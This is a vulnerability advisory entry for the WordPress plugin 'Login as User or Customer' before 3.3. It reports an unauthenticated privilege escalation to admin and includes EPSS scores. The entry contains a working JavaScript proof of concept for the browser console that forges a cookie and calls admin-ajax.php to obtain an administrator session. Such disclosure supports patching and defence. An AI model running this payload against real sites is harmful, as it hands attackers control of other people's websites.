Lucene search

K
wpvulndbDavidWPVDB-ID:286D972D-7BDA-455C-A226-FD9CE5F925BD
HistoryDec 27, 2022 - 12:00 a.m.

Login as User or Customer < 3.3 - Unauthenticated Privilege Escalation to Admin

2022-12-2700:00:00
David
wpscan.com
16
unauthenticated privilege escalation
lack of authorization checks
admin session obtained
web browser
developer console
wordpress plugin

EPSS

0.154

Percentile

96.0%

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.

PoC

Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user, then reload the page to be logged in as the user with ID: document.cookie = “loginas_old_user_id=1”; fetch(“/wp-admin/admin-ajax.php?action=loginas_return_admin”, { “method”: “GET”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

EPSS

0.154

Percentile

96.0%

Related for WPVDB-ID:286D972D-7BDA-455C-A226-FD9CE5F925BD